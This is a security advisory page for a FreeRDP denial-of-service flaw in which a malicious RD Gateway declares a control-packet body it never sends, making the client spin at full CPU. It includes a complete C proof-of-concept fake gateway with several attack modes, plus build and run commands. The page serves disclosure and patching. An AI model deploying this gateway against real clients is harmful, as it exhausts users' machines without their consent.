RD Gateway control packet makes FreeRDP client spin at full CPU
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-x4x6-2hrm-hvq9. Fix status from GitHub. Impact type from CWE-400.
Summary
FreeRDP versions up to and including 3.32.1 are affected. A malicious or compromised RD Gateway can send a control packet that declares a body it never sends, and the client retries a socket read that makes no progress, with no wait or limit, which keeps a CPU core busy (CWE-835). A user who connects through such a gateway is affected, and no data access or code execution was demonstrated.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious or compromised RD Gateway can consume a FreeRDP client's CPU by completing the RDG tunnel-open exchange, sending an eight-byte keepalive header with `packetLength=0xFFFF`, and withholding the declared body. After the tunnel reaches `RDG_CLIENT_STATE_OPENED`, `rdg_read_data_packet` sends non-data packet types to `rdg_process_control_packet`. That function retries a no-progress `rdg_socket_read` whenever `BIO_should_retry` is true, with no wait, backoff, or limit. A held-open gateway connection keeps one client thread runnable. An independently repeated full-client test measured 200 CPU ticks in 2.0035 seconds at `HZ=100` (99.8% of one core) and a runnable thread. A debugger repeatedly hit the real `rdg_socket_read` from `rdg_process_control_packet` with 65,527 bytes remaining. The non-WebSocket transport also reproduced the spin. A user-requested abort is polled, and the test driver stopped the client; the packet did not cause a process crash. No data-access or code-execution impact was demonstrated. The audited `rdg.c` bytes match the 3.32.1 release source; the released binary was not separately run. The decisive source was individually inspected in 3.0.0, 3.20.0, 3.28.0, 3.31.1, 3.32.0, and 3.32.1; intermediate release snapshots and the first affected release were not established. ### Reproduction On an isolated machine with a vulnerable `xfreerdp` build, an available X display, and OpenSSL development libraries, save the full C source below as `rdg_poc.c`. It creates its short-lived TLS certificate in memory. Compile and run the fake gateway in `ctlspin` mode; the client is bounded to eight seconds because the trigger consumes CPU: ```sh cc -O2 -Wall -o rdg_poc rdg_poc.c -lssl -lcrypto -pthread ./rdg_poc 3413 ctlspin ws & gateway_pid=$! sleep 1 WLOG_LEVEL=DEBUG timeout -s KILL 8 xfreerdp /v:127.0.0.1 \ /gateway:"g:127.0.0.1:3413,u:u,d:d,p:p,type:http" \ /cert:ignore /size:800x600 kill "$gateway_pid" ``` The source sends the four 18/18/16/16-byte success responses to open the tunnel, then `0d 00 00 00 ff ff 00 00` with no payload. `/cert:ignore` applies only to this disposable gateway. ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <stdint.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <pthread.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/x509.h> #include <openssl/evp.h> static SSL_CTX* make_server_ctx(void) { SSL_CTX* ctx = SSL_CTX_new(TLS_server_method()); EVP_PKEY* pkey = EVP_RSA_gen(2048); X509* x = X509_new(); if (!ctx || !pkey || !x) return NULL; X509_set_version(x, 2); ASN1_INTEGER_set(X509_get_serialNumber(x), 1); X509_gmtime_adj(X509_getm_notBefore(x), 0); X509_gmtime_adj(X509_getm_notAfter(x), 3600); X509_set_pubkey(x, pkey); X509_NAME* name = X509_get_subject_name(x); X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char*)"fake-rdg", -1, -1, 0); X509_set_issuer_name(x, name); if (!X509_sign(x, pkey, EVP_sha256())) return NULL; if (!SSL_CTX_use_certificate(ctx, x) || !SSL_CTX_use_PrivateKey(ctx, pkey)) return NULL; X509_free(x); EVP_PKEY_free(pkey); return ctx; } static void websocket_accept(const char* key, char* out, size_t outlen) { static const char* guid = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int dlen = 0; char input[256]; snprintf(input, sizeof(input), "%s%s", key, guid); EVP_Digest(input, strlen(input), digest, &dlen, EVP_sha1(), NULL); EVP_EncodeBlock((unsigned char*)out, digest, (int)dlen); (void)outlen; } static void hexdump(const char* tag, const unsigned char* p, size_t n) { fprintf(stderr, "%s (%zu bytes):", tag, n); for (size_t i = 0; i < n; i++) fprintf(stderr, " %02x", p[i]); fprintf(stderr, "\n"); fflush(stderr); } /* Send one RDG packet, optionally wrapped in a server->client websocket frame. */ static int send_rdg(SSL* ssl, int websocket, const unsigned char* pkt, size_t len) { unsigned char frame[64]; size_t flen = 0; if (websocket) { frame[flen++] = 0x82; /* FIN + binary opcode */ if (len < 126) frame[flen++] = (unsigned char)len; else if (len <= 0xFFFF) { frame[flen++] = 126; frame[flen++] = (unsigned char)(len >> 8); frame[flen++] = (unsigned char)(len & 0xFF); } else { frame[flen++] = 127; for (int i = 7; i >= 0; i--) frame[flen++] = (unsigned char)((uint64_t)len >> (8 * i)); } if (SSL_write(ssl, frame, (int)flen) != (int)flen) return -1; } hexdump("S->C RDG", pkt, len); if (SSL_write(ssl, pkt, (int)len) != (int)len) return -1; return 0; } static size_t build_pkt(unsigned char* out, uint16_t type, const unsigned char* payload, size_t plen) { size_t total = 8 + plen; out[0] = (unsigned char)(type & 0xFF); out[1] = (unsigned char)(type >> 8); out[2] = 0; out[3] = 0; out[4] = (unsigned char)(total & 0xFF); out[5] = (unsigned char)((total >> 8) & 0xFF); out[6] = (unsigned char)((total >> 16) & 0xFF); out[7] = (unsigned char)((total >> 24) & 0xFF); if (plen) memcpy(out + 8, payload, plen); return total; } static void* in_data_thread(void* arg) { int cfd = (int)(intptr_t)arg; char buf[4096]; for (;;) { ssize_t n = read(cfd, buf, sizeof(buf)); if (n <= 0) break; } close(cfd); return NULL; } static int run_mode(SSL* ssl, const char* mode, int websocket) { unsigned char pkt[64]; unsigned char payload[32]; size_t len; if (strcmp(mode, "noop") == 0) { fprintf(stderr, "conn: noop mode: sending nothing after upgrade\n"); return 0; } if (strcmp(mode, "extauth0") == 0 || strcmp(mode, "extauth1") == 0) { /* type 0x0003, errorCode 0, authBlobLen 0 or 1 */ uint16_t blob = (strcmp(mode, "extauth1") == 0) ? 1 : 0; payload[0] = payload[1] = payload[2] = payload[3] = 0; /* errorCode */ payload[4] = (unsigned char)(blob & 0xFF); payload[5] = (unsigned char)(blob >> 8); if (blob) payload[6] = 0x41; len = build_pkt(pkt, 0x0003, payload, 6 + blob); usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "bigalloc") == 0) { /* 8-byte header only: type 0x0002, packetLength 0x7FFFFFFF */ len = build_pkt(pkt, 0x0002, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0xFF; pkt[7] = 0x7F; usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "ctlspin") == 0) { /* HANDSHAKE_RESPONSE: errorCode=0, ver 1.0, serverVersion=1, extAuth=0 */ payload[0] = payload[1] = payload[2] = payload[3] = 0; payload[4] = 0x01; payload[5] = 0x00; payload[6] = 0x01; payload[7] = 0x00; payload[8] = 0x00; payload[9] = 0x00; len = build_pkt(pkt, 0x0002, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_RESPONSE: serverVersion=1, errorCode=0, fields=0, reserved=0 */ payload[0] = 0x01; payload[1] = 0x00; payload[2] = payload[3] = payload[4] = payload[5] = 0; payload[6] = payload[7] = payload[8] = payload[9] = 0; len = build_pkt(pkt, 0x0005, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_AUTH_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0007, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* CHANNEL_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0009, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* Control header only: KEEPALIVE, packetLength=0xFFFF, no payload. */ len = build_pkt(pkt, 0x000D, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0x00; pkt[7] = 0x00; usleep(300 * 1000); return send_rdg(ssl, websocket, pkt, len); } fprintf(stderr, "unknown mode %s\n", mode); return -1; } typedef struct { int cfd; SSL_CTX* ctx; const char* mode; int websocket; int first; } conn_arg; static void* handle_conn(void* arg) { conn_arg* a = (conn_arg*)arg; SSL* ssl = SSL_new(a->ctx); SSL_set_fd(ssl, a->cfd); if (SSL_accept(ssl) <= 0) { fprintf(stderr, "SSL_accept failed\n"); close(a->cfd); SSL_free(ssl); return NULL; } char req[65536]; size_t used = 0; while (used < sizeof(req) - 1) { int n = SSL_read(ssl, req + used, (int)(sizeof(req) - 1 - used)); if (n <= 0) break; used += (size_t)n; req[used] = '\0'; if (strstr(req, "\r\n\r\n")) break; } req[used < sizeof(req) ? used : sizeof(req) - 1] = '\0'; fprintf(stderr, "conn: read %zu bytes of HTTP request: %.60s\n", used, req); fflush(stderr); if (!a->first) { /* RDG_IN_DATA: answer 200 OK, then just drain. */ const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); char buf[4096]; while (SSL_read(ssl, buf, sizeof(buf)) > 0) ; SSL_free(ssl); return NULL; } if (a->websocket) { const char* keyhdr = strcasestr(req, "\r\nSec-WebSocket-Key:"); if (!keyhdr) keyhdr = strcasestr(req, "Sec-WebSocket-Key:"); char key[256] = { 0 }; if (keyhdr) { const char* p = strchr(keyhdr, ':'); if (p) { p++; while (*p == ' ' || *p == '\t') p++; size_t i = 0; while (*p && *p != '\r' && *p != '\n' && i < sizeof(key) - 1) key[i++] = *p++; } } char accept[128] = { 0 }; websocket_accept(key, accept, sizeof(accept)); char response[1024]; int rlen = snprintf(response, sizeof(response), "HTTP/1.1 101 Switching Protocols\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Accept: %s\r\n" "Sec-WebSocket-Version: 13\r\n" "Sec-WebSocket-Protocol: rdp\r\n" "\r\n", accept); SSL_write(ssl, response, rlen); fprintf(stderr, "conn: sent 101 Switching Protocols (ws accept=%s)\n", accept); } else { const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); unsigned char seed[10] = "0123456789"; hexdump("S->C seed", seed, sizeof(seed)); SSL_write(ssl, seed, sizeof(seed)); fprintf(stderr, "conn: sent 200 OK + 10-byte seed\n"); } if (run_mode(ssl, a->mode, a->websocket) != 0) fprintf(stderr, "conn: run_mode send failed\n"); else fprintf(stderr, "conn: mode %s delivered; holding socket 30s\n", a->mode); fflush(stderr); struct timespec ts = { .tv_sec = 30, .tv_nsec = 0 }; nanosleep(&ts, NULL); SSL_free(ssl); return NULL; } int main(int argc, char** argv) { if (argc < 3) { fprintf(stderr, "usage: %s <port> <extauth0|extauth1|bigalloc|ctlspin> [ws|http]\n", argv[0]); return 2; } const int port = atoi(argv[1]); const char* mode = argv[2]; int websocket = 1; if (argc > 3 && strcmp(argv[3], "http") == 0) websocket = 0; SSL_library_init(); SSL_load_error_strings(); SSL_CTX* ctx = make_server_ctx(); if (!ctx) return 2; int lfd = socket(AF_INET6, SOCK_STREAM, 0); int one = 1; setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); setsockopt(lfd, IPPROTO_IPV6, IPV6_V6ONLY, &(int){ 0 }, sizeof(int)); struct sockaddr_in6 addr = { 0 }; addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_any; addr.sin6_port = htons((unsigned short)port); if (bind(lfd, (struct sockaddr*)&addr, sizeof(addr)) || listen(lfd, 8)) { perror("bind/listen"); return 2; } fprintf(stderr, "poc_rdg listening on 127.0.0.1:%d mode=%s transport=%s\n", port, mode, websocket ? "ws" : "http"); fflush(stderr); int first = 1; for (;;) { int cfd = accept(lfd, NULL, NULL); if (cfd < 0) break; conn_arg* a = calloc(1, sizeof(conn_arg)); a->cfd = cfd; a->ctx = ctx; a->mode = mode; a->websocket = websocket; a->first = first; first = 0; pthread_t t; if (pthread_create(&t, NULL, handle_conn, a) != 0) { close(cfd); free(a); } else pthread_detach(t); } SSL_CTX_free(ctx); return 0; } ``` The archived gateway source above was independently rebuilt and run against the audited client; this embedded runner was not rerun for this draft because the former client binaries are unavailable here. The observed thread consumed 99.8% of one core in the two-second sample and remained runnable until the bounded driver stopped it. **Impact:** CPU exhaustion of one FreeRDP client thread per affected gateway connection. No confidentiality or integrity impact was demonstrated. **Remediation:** Wait for socket readability with a bounded timeout or fail the connection when a retryable control-packet read makes no progress. Bound control-packet lengths and test incomplete payloads after tunnel opening.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-x4x6-2hrm-hvq9 |
- FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-x4x6-2hrm-hvq9
Remediation
Update FreeRDP to 3.32.2, the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-x4x6-2hrm-hvq9 FreeRDP (c) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-x4x6-2hrm-hvq9
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences